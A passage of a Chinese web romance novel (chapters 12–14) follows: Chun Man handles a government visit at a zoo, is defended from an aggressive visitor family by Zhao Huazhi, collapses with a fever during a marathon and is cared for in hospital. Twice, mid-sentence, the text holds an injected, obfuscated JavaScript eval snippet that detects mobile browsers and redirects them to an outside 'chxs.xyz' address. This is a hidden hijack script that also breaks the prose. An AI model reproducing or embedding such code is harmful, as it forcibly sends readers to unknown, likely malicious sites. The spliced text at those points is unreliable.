直到在路口等红灯时,春满扫见商场的天幕大屏上马拉松比赛的广告页,赫京旗下的运动品牌是此次活动的赞助商,赵华致也注意到,才问起:“我昨天听见你说要参加这个。打算跑全马?” “有这个想法。”但……春满没什么自信。她为准备这次马拉松,制定了严密的训练计划,但中间经历分手、取消订婚的事,耽搁了一段时间的训练。近段时间她倒是重拾训练计划,但总觉得力不从心。 她自以为人生会有惊无险地继续,但实则丢掉一段感情后,留下了一处无法靠粉饰太平来轻易掩饰的缺口。 她曾将房嘉恺放在未来中。 而如今,她的人生乱掉了。 车子快到目的地时,春满手机响,是章啸行的电话。 章啸行临时有事,把上午到园里参观的几位政府领导交给春满接待。这关乎到园里的切实利益,章啸行让春满一定把人招待好。 “交给别人我不放心,只能辛苦你了。” 春满虽有为难,但还是答应道:“好。我现在过去准备。” 挂断电话后,春满未来得及想章啸行情绪中的反常,听见赵华致问:“有急事?” 两项工作,无法同时兼顾,春满只能照实说明。 “实在抱歉,我需要先紧着政府那边的接待工作。” 春满抿唇,还要再说几句场面话,赵华致并没有给她机会,在电子地图上查看了从此处开往动物园途中道路的拥堵情况,说:“从这过去最快也要四十五分钟,来得及吗?” “应该可以。”春满计划先跟园里同事联系上,确认好接待的前期准备工作。耳畔响起“准备出发,全程29公里,目的地北央森林动物园”,春满才从工作中回了回神,及时道:“怎么好麻烦你送我,我自己打车过去就行。” “这附近不好打车。”赵华致看春满一眼,说,“觉得麻烦到我的话,明天请我喝咖啡吧。” - 早高峰的街道,车辆拥堵是常事。快开到动物园西门时,同事的电话一个接一个地过来,询问她到哪里了。 赵华致的车跟政府领导的车前后脚停在车库,春满在车上整理好仪容,庆幸出门时穿得比较正式,这一身见体制内领导不算失礼。 视野中,春满已经看到几位前来迎接领导的同事正等待西门附近,挂断同事又一次打电话来,没等匆匆跟赵华致道歉和作别,便听赵华致先道:“先去忙,等你闲了再跟我客气。” 大概是春满太紧绷,衬得赵华致非常舒展。目送春满过去和几位同事会和,在一行人获救般如释重负的神态中,招待领导们进园里参观。 直至视野中看不到春满的身影,赵华致才从浩浩荡荡一行人身上收回视线,刚要发动车子,视线瞥见扶手箱杯格中的咖啡杯。 他拿起杯子,把车子熄了火。 - 动物园内部员工间社交关系简单,园长是重度社恐,园里从饲养员到救助员,再到园林员,一多半都是社恐,日常最不擅长的便是跟人打交道。 这也是章啸行缺席时只能找春满顶上的原因之一。另一方面则是春满份量够,知识储备和谈吐形象在线,接待上头的领导不显怠慢。 春满到来的时机刚刚好,被推出来暂代的园林部主任杨玢脸上的笑轻松很多,靠过来窃窃私语:“没有什么时候比此刻见到你更让我开心的了。” 春满站到同事们之间,把员工牌挂好,有个人信息的那面朝外,难得有心情开了句玩笑:“不是你因为野猪把园林部刚栽好的苗给拱了冲我唉声叹气的时候了?” 杨玢乐呵呵:“此一时彼一时。” 说话间,领导的车门开。春满迎上去,逐一打招呼,先说一路辛苦会议室备了茶水,进园时又解释章啸行缺席原因并致歉。 杨玢面带微笑地看春满从善如流的表现,心里佩服得要流泪。 刚想找人感慨一番,偏头见旁边入职没几天的新媒体运营官手抄着兜,冲春满的方向不客气地翻了个白眼。 杨玢突然记起来,这个叫谢宴迟的年轻人跟春满一向不对付。 谢宴迟思维年轻活络,行动力强,但特立独行,不服约束性。 如果只是年轻气盛就算了,毕竟官方账号在他的运营下死灰复燃,是有真本事的,但平时豪车出入,从头到脚全是名牌,他身上自带一种“何不食肉糜”的傲气,令很多同事感到冒犯,活像是来体验生活的富家少爷。 - 今日没有闭园,照常游客参观,领导参观路线难免和游客路线重合。 在杨玢代表园林部向领导们介绍不同展区的设计巧思时,春满注意到观赏区的围网旁,一个和游客争执得面红耳赤的志愿者。 春满离近些,很快明白发生了什么。有游客私自投喂动物,志愿者好心提醒却遭到对方家人的刁难。 对方是一大家子三代人出行,周遭虽有游客替志愿者说话,但人数明显不占优势。 志愿者是附近学校来兼职的大学生,年轻,脸皮薄,被说得急红了脖子。 谢宴迟举着相机负责记录今天的照片,从旁边经过,弯腰捡起那家游客随手丢的垃圾,神不知鬼不觉地往那孩子卡通兜帽里一丢,深藏功与名地走开了。 春满目睹这一切,被谢宴迟不怎么友好地觑了一眼,嘴角动了动什么也没说。 眼看那家人中有人伸出胳膊发生肢体冲突,春满急忙过去,把志愿者拉到自己身后:“我是园区的工作人员,有什么问题吗?” 对方不占理,但见只有春满一个小姑娘,倒也浑不在意,语气刁蛮地纠缠:“来得正好,你们这招的什么志愿者,打扰我们参观,麻烦处罚她,我要投诉她!我们可是掏钱买票进来的!” 总有一些民众会认为在公共场合服务人员就该卑躬屈膝,不论过错方是谁,只要服务人员有任何言语怠慢便会被当作把柄借题发挥,肆无忌惮地行使“权利”。 但服务人员不是人吗?连最基本的尊重和平等都得不到吗? “打扰你们?‘禁止投喂’的标牌就挂在你脸前。志愿者难道不是因为你们不认字才引导你们正确参观吗?”春满的长相没有攻击性,个头在女生中算高的,但身形清瘦,看着没什么战斗力,语气却冷静强势,丝毫不输威力。 对面的老太太跳脚:“你这人怎么说话的!谁不认字啊!你有没有素质啊!我要见你们领导!” “不用领导。来,旁边举着摄像机的记者看到了吗?北央都市报,比我们园长地位都高,有什么委屈对着镜头吼,想登报还是上电视都满足你们。”春满一指旁边谢宴迟手里拿着的记录本次活动的单反相机,视线有条不紊地扫过这一家子人,夸大其词一番后,话锋一转,“不过我要提醒你们,上一个因为私自投喂动物在园区闹事的游客,在网上被骂了整整两天,大人工作单位的领导和同事,小孩学校的老师、同学、同学家长,还有街坊四邻,都在看他们的笑话。” 这家人的儿媳被恐吓住,催促家人:“算了算了,我们快走吧。” “以为走掉就行了?可都录着呢。”春满抬高音量,问,“刚刚是谁动手推了我们的工作人员,麻烦道歉!” “她给我们道歉了吗!我们凭什么道歉!发!让记者发!我要曝光你们动物园欺负游客!”男人鲁莽冲动,夺过自己孩子手中的奶茶就要往春满身上丢。 春满身体一侧,试图躲开。 哗啦啦液体浇落的声响后,春满并没有看到大杯的奶茶泼过来,她伴随着男人吃痛的哀嚎声转头,发现赵华致不知何时出现在这里。 闹事的男人五大三粗,赵华致竟比他还要高一些,敏捷精准地擒住那只握着奶茶的手,举重若轻地用力一折,奶茶杯盖被晃荡的液体撞开,砸在男人脸上,紧接着是混杂着珍珠芋圆等配料的液体,一时间,男人脸上的凶悍暴怒不在,只剩狼狈至极。 赵华致眼底冷静,但不怒自威:“需要我给你道个歉吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492187|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 园区的安保人员姗姗来迟,把这一家人带走。 赵华致浑不在意地甩了甩手背上溅到的奶茶,看向春满。 春满还没从刚才的视觉冲击中回神,慢了半拍才从随身的包里翻找纸巾,递过去:“先擦擦吧。” “谢谢。” 听赵华致这么说,春满忙道:“是我该跟你道谢。”她盯着男人擦拭的动作,他手指修长,骨节分明,简单的擦拭动作被他做得像电影唯美的空镜。意识到自己偏了重点,春满仓促回神,提醒:“衣服上也被溅到了。” 衬衣下摆扎在裤腰里,掐出劲瘦的窄腰。只有局部被溅到了,不仔细看不明显,但赵华致浑身上下精致完美,找不到丝毫纰漏,这里的瑕疵便显得尤为突出。 “你是该谢我。”赵华致放慢擦拭的动作,不客气地说完,把手里的咖啡杯送过去。 春满还没来得及想他为什么出现在这里,先知道答案,诧异地啊了声,道:“这杯是给你的。” 春满从身上没来得及放回办公室的包里拿出自己的杯子,示意他看:“我的在这里。家里没有一次性杯了,便用这个装,新的,第一次用。” 多少带着感激情绪的影响,春满说得并无负担。 赵华致意外的抬眉,觉得手里设计简洁的周边杯十分顺眼。 刚要说什么,赵华致福至心灵地察觉到附近有人盯着自己,稍稍偏头,注意到不远处不知道在看他还是看春满的谢宴迟。 四目相对,谢宴迟端着相机扭头去看别处,走开了。赵华致注意到他口袋里露出半截的员工工牌。 杨玢带着领导们走出段距离,并不知道这里发生了什么。有同事折回来找没跟上的春满,关心着刚刚发生的情况,询问要不要帮忙。 没让春满为难,赵华致表现得宽容随和,不甚在意道:“没事。车上备了衣服,你忙吧,我去换一下。” 赵华致离开前,目光不着痕迹地从谢宴迟身上划过。 谢宴迟则懒懒散散地,始终有意无意地盯着春满。 领导们不走,春满便不能脱身,因为这个小插曲整个人变得忧心忡忡的。 下午两点,送走领导们,春满又处理完收尾的工作,彻底松口气。 看到同事桌上的奶茶,春满才记起赵华致,拿出手机,删删减减编辑了条消息:“学长,今天事发突然,先是鸽了工作,又害你脏了衣服,希望没影响到你的心情。实在抱歉。” 赵华致隔了几分钟回过来:“人之常情,我理解。” 春满坐直,隔着屏幕,一时也拿不准对方是什么态度。 好在赵华致丝毫不客气,截图了动物园门票的付款订单发来:“春老师给报一下?” “必须可以。”春满弯了下唇,立刻发了个红包过去,该是多少就是多少。 赵华致发来一个“谢谢老板”的表情包。 春满看见,心说,这不会是从哪个员工那里存的吧。 - 赫京集团内。 江鎏翘着二郎腿在公司等人,赵华致来迟了不说,身后空空如也,连个春满的影子都没见着。 “什么情况?让你接个人都能搞黄,什么时候才能追上啊。也太令人捉急了。” 江鎏调侃得起劲,但看赵华致的神态,不像是吃闭门羹后的沮丧,嘴角要翘不翘的,更像是憋笑憋得辛苦。 发生了什么,让他偷着乐成这样。 江鎏狐疑地上下打量他一番,最终视线落在他手里的咖啡上。 带有卡通图案的可爱风咖啡杯实在不像是赵华致会用的东西。 赵华致不避讳他的打量,甚至主动手举高些:“我这杯子好看吗?她特意给准备的,里面装的是热咖啡。” 江鎏眉头挑了下,认识赵华致这么多年,见过他各种样子,唯独没见过他OOC般秀恩爱的嘚瑟样子。江鎏觉得自己还是更习惯他为情所困郁郁寡欢的状态,从美学角度讲,忧郁让人更加有魅力。 多少年了,养个孩子都能上小学了,你才到达一个咖啡杯的进度,就乐成这样。江鎏不客气地泼冷水:“我看你这辈子是完了。” 反过来想想,赵华致也挺不容易的,可算有点进展了,四舍五入便是有戏。 江鎏起身,打算把办公室留给赵华致独自欣赏咖啡杯。赵华致抬眼,拦住了他:“我今天送她去上班,发现谢宴迟也在动物园工作。” 园里的员工不认识谢宴迟,赵华致却知道他是谁。 “谢开阳的弟弟?他跑那里去做什么?他们谢家要破产了吗?”江鎏重新坐回去,继续扮演一个合格的爱情军师,“谢宴迟不是出了名的兄控吗,他不在谢开阳身边跟着,跑动物园上什么班啊?难道——” 赵华致也猜到了原因。 看来有关谢开阳对春满动心思的传闻不是空穴来风。 “啧啧,你俩不愧是多年劲敌。”江鎏如是评价完,若有所思片刻,又道,“说起来动物园里缺一个咱们的人,帮忙打探消息。” 赵华致要说什么,手机响,是家人的电话。他刚一接通,听到赵昭儿在电话那头喊:“哥,妈今天又问我了,你怎么还不带嫂子回家。我都没好意思告诉他,你还没追到手,你也太没用了。” 江鎏隐约听到点声音,心说你看,不止我一个人这样认为。在赵华致丢文件夹打自己前,江鎏迅速起身,走之前给他掩住了门。 赵华致从容应对亲妹的挖苦:“现在不是你有事求我的时候了对吗?” 赵昭儿卖乖地嘿嘿笑两下:“嫂子还在动物园工作吗?我接下来有个和动物园合作的纪录片拍摄,要跟饲养员园林员救助员发生密切的接触。我可以替你深入敌人内部,打好群众基础,你准备怎么谢我啊?” “注意你的用词,我看你才是我的敌人。”赵华致把文件夹搁下。 “目标,目标行了吧,不是敌人。”赵昭儿尚处在大学毕业的年纪,像含在嘴里的跳跳糖,活力四射又毫无章法,让人觉得聒噪,又很容易被这份快乐感染,“哥你就说需不需要我吧。” 赵华致:“给你换台车?” “成交!” 特助在门外听赵华致结束通话才进来,和他核对接下来几天出差的行程。赵华致提到:“周六的马拉松比赛,我会出席。” 特助提醒:“这样的话需要提前一天结束出差,原定的工作得压缩,会比较赶。” “赶点没关系。”赵华致依然坚持。 13.第 13 章 13 春满自然不会天真地认为,报销一张门票钱便能把那天上午的波折翻篇,心里惦记着找机会当面补救一下。 但接下来一周,春满都没见到赵华致,晨跑结束的电梯里没有,和江鎏团队见面推进合作时也没见到,问了才知道,赵华致出差了。 “他原本周一的飞机,要参加上午的会便推迟了。结果你临时有事,会没开成,他当天晚上就飞走了。工作时间压缩,工作内容不减,辗转飞三个城市,睡觉时间都得在飞机上补。”江鎏如是说。 接触这段时间以来,春满知道江鎏言行怎么浮夸怎么来,一时也猜不准是真是假,但深知自己的确给赵华致添了麻烦。 时间很快到了周六的马拉松比赛。 春满早晨出门时,在社交平台首页铺天盖地的马拉松比赛相关的新闻中,刷到了沈栀意的动态。 她没关注这个账号,但社交平台的推荐规则认准她感兴趣似的。 春满想划走,却误触到照片九宫格中的某一张,live图放大在屏幕中时,春满听到了嘈杂背景音里房嘉恺的声音—— “想吃什么?”他问。 短短的一句,春满指腹按着手机屏幕,听了三遍才松开。 没有前言后语,但语气听上去放松又熟稔,像是隔着很远很远的时空飘过来。 春满点进沈栀意的账号,那条向网友求助“和发小接吻该怎么办”的动态已经看不到了,但那个台风天发生的事,春满却没办法忘记。 刻在她脑海里一般。 以至于站在起跑线后乌泱泱的人群中,这种被什么东西吞没,找不到方向的混沌感觉仍然存在。 春满起跑的站位比较靠前,空气流通,但春满分不清是不是对接下来42公里极限运动的恐惧,直觉自己马上要被周遭潮水一般的声音淹没。 她听见房嘉恺质问她有必要小题大做吗,听见舅妈说她就是被惯坏了,身在福中不知福。 好吵。 她听到暴雨的声音,听到父母离婚前无休止的争吵,听到哥哥被父亲带走时自己震天的哭嚎。 好吵啊。 什么时候开跑的,春满不知道。 她被洪流推着向前,很久之前她便知道,谁也不能让她停下脚步,她要向前,向前,向前认真地好好过这一生。 休克前的“撞墙期”出现得比预期要早,春满双腿发沉,身体乏力,厌跑的情绪极具攀升。 栽倒的前一秒,春满的思绪却是非常简单,只剩一个念头——好丢人啊。 ——她终究没办法始终镇定,做一个体面的人。 - 后半程的补给站处,赵华致一身深灰色运动装,身形挺拔,肩宽腰窄腿长,作为赞助方为经过的选手发放饮用水和补充能量的食物, 耳麦那头,江鎏针对他今天的行为,锐评道:“你是中学生吗?运动会上等在终点线给喜欢的人第一个送水。” “为什么不可以?”赵华致如是反问。 全马全程42公里,民间大神跑者预计用时三个半小时。赵华致了解过春满之前参加半马的时间记录,预估春满四小时以内可以完成。 在开跑前,赵华致隔着茫茫人海遥遥地看见过春满一次,她穿着一身黑白撞色运动装,黑色遮阳帽后,头发编了一股拳击辫,和她每天早晨在小区附近晨跑时的装扮相差无几。 曼妙的身材一览无余,腰肢盈盈一握,还没有她胸前贴着的六位数绿底号码牌宽。 赵华致当时跟主办方站在高处最显眼的台子上,春满并没有发现他。 这并不影响春满光是站在那,无处不在的熟悉感令赵华致心安。当时有多心安,此刻站在补给站处等待时,便多期待。 江鎏说他追人的手段老套幼稚没新意,但赵华致在学生时代连这最基础的追人方式都没有付诸实践过。 房嘉恺当初追了她两年,人尽皆知,在一起四年,广受祝福。追人的花样和恋爱的甜蜜,想必春满早不觉新鲜。 那天小区流浪动物救助活动,赵华致看出来了,房嘉恺舍不得。 而且,春满身边从来不缺追求者。 六年的感情,赵华致比不了。谢家和赵家财富、地位相当,赵华致不比谢开阳有优势。 赵华致必须要万分上心,才能抢占先机。 那年在摄影展上,亲眼旁观春满被他人私有的体验历历在目,那种近在咫尺、触手可及,却毫无立场的经历,他不想再遭遇。 手机铃声响起,江鎏不知何时挂断了通话,此刻重新打过来。赵华致接通,对面不见方才揶揄调侃的语气,只说了一句。 只见赵华致脸色骤冷,问哪家医院。 - 春满当时撑着最后一丝意识没有倒在跑道上,到防护区域看到急救人员才安心地晕过去。 救护车赶来前,经过十多分钟的紧急处理,春满意识已经恢复正常。 在救护车里,医护人员给春满做过检查确认她各项体征平稳,把她送到医院急诊外。 救护车内的医护人员和医院内的不属于同一个体系,登记了她的信息方便组委会挂账,便走了。 公立医院资源紧张,春满目前的情况不足以动用担架车抬进去,更不会出现电视里一群医护人员兴师动众出来接的场面。 她站在“急诊”两个红字标牌下,周围人来人往各有悲喜,而她孤零零的,像是被抛弃般,莫名凄凉。 胸腔的痛感仍在,四肢发麻,手指控制不住的颤抖。她站在原地缓了会,确认自己不会立刻出现呕吐的症状,迈进大厅找挂号台。 姜早早作为春满报名马拉松比赛时留的紧急联系人,在春满被送上救护车时,第一时间收到消息。 为了抄近路,结果遇到事故路段,耽搁了更多的时间。 此刻拨来电话询问春满的情况。 春满本就手抖,没等接通电话,手里的身份证在大理石台上磕了下掉到地面。 她怕自己活动幅度太大再晕倒,弯腰捡东西的动作异常缓慢笨拙。 有只手在她之前把身份证从光滑的地面上抠起来,径自递给玻璃隔板内伸手等着的护士。 “学长?”春满诧异地看着来人。 赵华致淡淡地嗯了声,在需要付挂号费时拿手机扫码付了,拿着证件和挂号单带着春满出了队伍。 春满想问他怎么在这,让他把手里的东西给自己,但喉咙出声的前一瞬,别开脸,直奔墙角的垃圾桶,弓着腰呕吐起来。 眼前刺亮,辨不真切静物,天旋地转的感觉再度袭来,这次春满没倒在坚硬的地面上。 最后一丝意识消失前,她听见赵华致焦灼喊她的声音。 春满再次醒来时,人躺在病房上,看到穿着运动装的赵华致时,第一反应是组委会来慰问受伤的参赛选手,心说人怎么可以丢脸到这个地步。 定睛看了一眼,春满才看清是赵华致,陆陆续续想起急诊大厅的事。 大概是休克带来的后遗症,春满觉得还不如是大赛组委会的人,总好过被熟人撞见。 很快,春满体会到什么叫没有最丢人,只有更丢人。她大概是脑子抽筋,在赵华致看向自己时,脱口而出:“你也是半道晕倒被送来急救的?” 赵华致觑了她一眼,无语状,语气前所未有的冷厉:“你烧糊涂了?发着烧去跑马拉松,你是觉得42公里太小儿科,想自己上难度吗?” 春满后知后觉自己问题的荒诞,被怼后更是心虚。她觉得自己大概是被当成运动小白教育了,于事无补地解释了句:“我跑之前没意识自己发烧了。” 她解释的声音越低,越显虚弱。赵华致看着她,什么气也发不出来。 护士端着托盘给她挂水,对赵华致说了句公道话:“知道你急,但先别急。但凡你生活中上点心,也不用心惊胆战这么一遭。发烧这么明显的病症都没注意到,你这家属怎么当的?” 春满嘴一张,想要纠正。 但护士只是走过场地教育一番,没等“家属”回应,留下一句“好好休息吧,有事按护士铃”便出去了。 春满自知没必要把人叫回来澄清这个误会,冲赵华致道:“抱歉,害你被误伤。” “是我该道歉,刚才的确急了。”赵华致垂了下眼,没看她。 两人间气氛是说不上来的凝固。 这时,姜早早火急火燎地冲进病房,扶着春满的肩膀把她上上下下打量一遍,急得眼泪快落下来了,最终被春满一句句稍安勿躁的“我没事”,安抚住。 “我接到电话时快被吓死了。”姜早早惴惴不安了一路的心终于平静下来,还要说什么,注意到一旁的赵华致,不管三七二十一道谢:“赵总,谢谢你照顾慢慢,谢谢。” 赵华致起身,没多留,冲姜早早礼貌地点下头,再对春满说:“你朋友到了,那我就先走。你好好休息。” 赵华致身影消失在门口,姜早早猛地往春满面前一凑,逼问:“什么情况?” 春满只当她关心自己晕倒的原因,懊恼地一皱眉,说:“前段时间训练计划没好好执行,今天比赛时跑到一半感觉体力不支,就晕了。你快帮我上网看看,我晕倒被送上救护车的场景没被拍下来发到网上吧,太丢人了。” 姜早早知道春满要面子,暂时搁下对闺蜜感情生活的八卦,很靠谱地安慰:“你这还好,不算丢人。我刚坐电梯时,听说有个老哥倒地上身体动弹不得,边吐边嚷嚷着扶他起来要去签名墙合照,还大谈历史战绩,说自己年轻,未来一定会打破什么什么记录,那状态,跟耍酒疯似的。” 有姜早早陪伴,输液的时间没那么无聊。 两瓶药水输完,护士来给春满起针,看见陪床的人换了,闲聊一句:“你男朋友走了?是不是生他气了?你别怪他凶你,你这次情况危急,估计是把他吓到了。” 春满在姜早早满是探究恨不得要把她烫出两个窟窿的注视下,第一时间跟护士解释:“刚刚那个不是我男朋友。” “不能吧?”护士两手插在口袋里,断言,“他抱着你到病房时,特别的宝贝,生怕你磕了碰了,我想帮忙扶一下他都没让。我每天见这么多人,敢说他肯定是喜欢你。” 姜早早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495033|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢吞吞地削着苹果皮,视线在护士和春满之间打转,思绪从她们的聊天内容开始发散。 自诩春满最要好的闺蜜,姜早早自然希望自己能第一时间出现照顾她,但凡事都有意外,她被路况绊住,被赵华致抢了先。 赵华致怎么就这么恰好在医院呢?他这种家庭的人不都爱去私人医院吗? 听护士的描述,赵华致就好像特意为春满来医院似的。 他怎么会比自己更早呢? 姜早早咔嚓咬了口苹果,不服气地随便点了点手机。几个常用软件来回点了一圈,若有所思。 前段时间的暴雨夜也是,自己打算出发去陪她,因为在车库跟别的车发生剐蹭,被绊住,这个时间差里,春满接触到了赵华致和他的猫,猫咪这种治愈心灵的生物陪伴春满度过了难熬的暴雨夜。 怎么就那么巧呢? 是赵华致和春满太有缘,还是自己和交通工具犯冲?总不至于是有人在春满身上装了窃听器吧,或者她的手机上? 这个猜测毫无现实依据,但姜早早福至心灵般停在某个对话框上,很快意识到另一个问题,就算没有窃听器,有个人也能了解到这些信息。 姜早早微微坐直,越发确定了这个方向。 她得知春满因休克被送往医院时,人正在打游戏,仓促地跟队友解释了一句就往医院赶。 那个暴雨夜在车库,如果不是因为跟这个游戏搭子连麦拌嘴,也不会走神发生剐蹭。姜早早记得,当时无意向他透露了,自己闺蜜讨厌雷雨天的信息。 这个重大发现让姜早早渐渐挺直了身子,眉头越蹙越紧,记忆中更多类似细节纷至沓来,佐证着罪魁祸首的身份。 闺蜜分手了,要跟闺蜜去度假村,三点后可以打游戏因为闺蜜去博物馆了……等等。 “怎么了?”春满见她举着刀一副要捅人的架势,连忙问。 “没事。”姜早早把刀搁下,愤愤地咬住苹果,两只手捧着手机闷头输出。 春满不是没见过她这般模样,一遇见项目中不带脑子瞎给意见的合作方,她就会把键盘当成对方的天灵盖敲。因此春满只是多看了她几眼,没再过问。 姜早早没蠢到直接找那骗子质问,抱着最后一丝侥幸的期待,决定先钓鱼执法,坐实这个罪名,而非巧合。 “你知道哪里有卖梅花糕的吗?闺蜜突然想吃,我翻遍了外卖平台都买不到。” 这条消息发送成功没几秒,对面人便回复:“啊不知道呢,她除了梅花糕还想吃别的吗?我知道一家很有口碑的甜点品牌。” “只想吃这个。你不懂女孩子,想吃什么就必须吃到,否则情绪会特别暴躁。” 对面:“你们还在医院吗?” “对啊。下午还要做个检查,没问题了才能出院。” 一来一回一番交手后,姜早早深藏功与名地收起手机,就等鱼上钩。 如果这都能撞,那就坐实了。 “你忙完这个项目,要不要休息一段时间?”春满看着姜早早一会儿冷笑一会儿生气的变脸式表情,提建议,“我感觉你的精神状态早晚要出问题。” - 经过全面检查,春满的身体并无大碍,当天下午便可以办理出院。 参赛选手在医院的一应花销马拉松组委会可以报销,春满离开病房前,按照流程要求准备所需要的材料,一份份拍照提供上去。 “赵总。” 听见姜早早跟人说话,春满应声抬头,才发现赵华致来了。 他换掉上午的运动装,挺括讲究的衬衣料子,和手里提着的一袋从路边摊贩那里买来的小吃并不搭调。 “给家里妹妹买梅花糕,顺路给你捎了一份。要尝尝吗?” 赵华致说话时,春满视线慢半拍从那袋东西移到他脸上,虽不明所以,但人提都提来了,没有再叫他提回去的道理,礼貌地道谢,并没有注意到一旁姜早早微挑眉的表情。 “赵总从哪里买的,我正想买来着。据我所知,因为创城,这附近的小吃摊都被赶走了。最近也要到几十公里外的大学城才有卖的。” 赵华致沉默地盯着她看了数秒,开口:“我碰巧从城西回来。” 春满不知道发生了什么,抻开袋子看了看,先往姜早早嘴边递了个:“那你先吃。” 姜早早没急着跟春满坦白,就着她的动作接了梅花糕,三两下吃完,把陪护椅往床底一推,对赵华致说:“谢谢赵总的梅花糕,很好吃。我突然有点事,还要麻烦你陪春满办理出院手续,并且把她安全送到家。” 姜早早态度转变得突兀,春满面露疑惑,用眼神无声地询问怎么了。 “没事。我要去讨个说法。” 没等春满提醒她开车慢点,姜早早已经没了踪影。 春满两眼担忧,恨不得追上去留她平复一会儿再开车。赵华致从门口移回视线,说:“她应该没事,有事的另有其人。” 赵华致在是否给江鎏提醒之间短暂抉择一会儿,最终决定把江鎏一直心心念念半个月假期批了。 不,直接给他批一个月的带薪假。 14.第 14 章 14 有关护士针对赵华致和春满关系的定义,春满不是没有放在心上。 方才碍于姜早早在,她没让问题复杂化。此刻只落他们两人,春满心里的情绪翻涌得激烈些。 连带着手里尚有余温的桃花糕嚼起来都少了滋味。 “你有事的话可以先走,我自己打车回去。”春满盯着赵华致,试图从他神情变化中寻找到答案。 “不着急。”赵华致非但没走,反而拉开陪护椅坐下,盯着她手里没吃几口便放回去梅花糕,问道:“不好吃,还是不喜欢吃?” 搁在往常春满不会驳人的面子,但此刻格外耿直,实话实说:“比起甜的,我现在更想吃辣的。不过还是谢谢你。” 春满把自己吃的那份单独拿出来,看着剩余的,问:“把这些留给你妹妹?她介意吗?还是说你给她买的那份没带上来。” 毕竟医院不是什么好场合,有人忌讳吃这里的东西。 姜早早发现的事,春满很快便会知道,倒不如让他自己说。赵华致把袋子接过来,直白道:“没有妹妹的事,是特意买来给你的。不想吃也没关系。” 春满没想到他会这么直接,面露疑惑。 赵华致用一副“我这样做很值得奇怪吗”的眼神,和她对视。 他没解释,反倒是春满率先败下阵来,别开视线,开始反思自己不应该疑问吗。 春满下午的检查很顺利,结果没有异常,四点钟便可以办理出院。 春满换上姜早早中午回家替她取来的衣裙。手提袋里装着下午组委会来探望时送的纪念品、换下来的运动装、病例单等杂物,被赵华致拎在手里。 春满想自己提着,但赵华致动作更快,走廊上来来往往都是人,隔壁病床上正静养的病人咬着个苹果直直地盯着他们不知看什么,春满不想就这件小事在大庭广众下拉扯不休,便没坚持。 春满原计划等赵华致出差回来请他吃顿饭,但护士的话仍在脑海里回荡,春满一时不知如何决断。 先前章啸行因为公事要请赵华致吃饭,联系他的特助几次才定好时间。 江鎏也说赵华致大忙人,不是特别重要的私事,他一概不会牺牲工作时间。 她感谢是真,但如果她所谓的感谢方式给他造成困扰,那就得不偿失了。 但有些事不是躲就能躲得掉的,今天不解决,之后也得解决,倒不如快刀斩乱麻,早点理清。 搭乘电梯下楼,春满说起:“上午麻烦你帮忙,出院还要蹭你的车。你什么时间方便,我想请你吃顿饭。” 医院人来人往,休息日人流量尤其大。赵华致替她挡了下斜刺方横冲直撞的路人,说:“我现在挺方便的。” 春满没料到会如此顺利,微怔一瞬,才跟上他的节奏:“你有想吃餐厅的吗?我现在订。” “都可以。”赵华致如是回答。 请赵华致吃饭,餐厅要够档次,但好一点的餐厅大都得提前预定。 以前春满从没在选餐厅上为难,房家在餐饮行业可见一斑,房嘉恺的母亲给了她足够的权限,本地十数家高档餐厅都可以随时光临。 如今春满非但不能使用这个权限,还得在选餐厅时,把房家旗下的餐厅筛掉。 从电梯出来,春满在大脑里遴选餐厅的思绪暂停,视线盯着某个方向,怔了下,过去:“钱姐,您怎么来医院了,身体不舒服吗?” 钱敏姿态亲近地打招呼,近期的操劳让她看上去很疲惫。 中年人手部皮肤粗糙但滚烫,春满瞧着对方欲言又止的模样,联想到近来章啸行的休假,右眼皮预兆不好地跳了跳。 “是不是章哥?” 钱敏别开脸,抹了抹泪,说:“老章让我瞒着你,他前不久肝脏查出点小毛病,医生说是长期喝酒导致的,我就说他前几年不用那么拼,结果弄成现在这样。” 钱敏克制着自己的情绪,把话题岔开:“那边是你朋友吧,他一直在等你,你快过去,别让人等久了。” 春满适才记起赵华致,开解几句,才跟钱敏作别:“我有时间再去看望章哥。” 从医院往外走时,春满脑内闪过章啸行为了动物园的经营频繁应酬的事。他不是一个善于交际的人,甚至可以说是重度社恐。笨嘴拙舌得在酒桌上被人当成乐子,闹了不少笑话。 但他好似钝感力过剩,从没有哪一刻被挫掉劲头儿,孩童一般的执着最终换来几分另眼相看和尊重。 春满是章啸行请回来帮忙的,但事实上,春满最初给他带来不小的麻烦。 和章啸行相比,春满执拗较真的性格更不适合需要谄媚奉承的酒桌文化,有次当众驳了一个劝酒企业家的面子,场面一度闹得难看,最终是章啸行用自己罚酒的方式替她解了围。 房嘉恺说她喜欢小题大做,想想也没说错。只是说几句漂亮话,喝杯酒而已,春满却反应激烈。 后来房嘉恺的母亲借着承包园内的餐厅注资,赫京旗下的至文资本投资,动物园结束了要靠园长喝酒拉投资的局面。 但酒精对身体的损伤是不可逆的,章啸行便是那时留下的身体隐患吧。 走神走得太专注,什么时候坐到副驾上的,春满都不知道。 有过放赵华致鸽子的先例,她这次无论如何也开不了口说自己临时有事。 但一秒,十秒,一分钟过去了。 春满去看车窗外的景象,才发现车子迟迟没有发动。 她疑惑地偏头,询问赵华致:“车子有什么问题吗?” 赵华致答非所问:“想回医院探望章园长就去。” 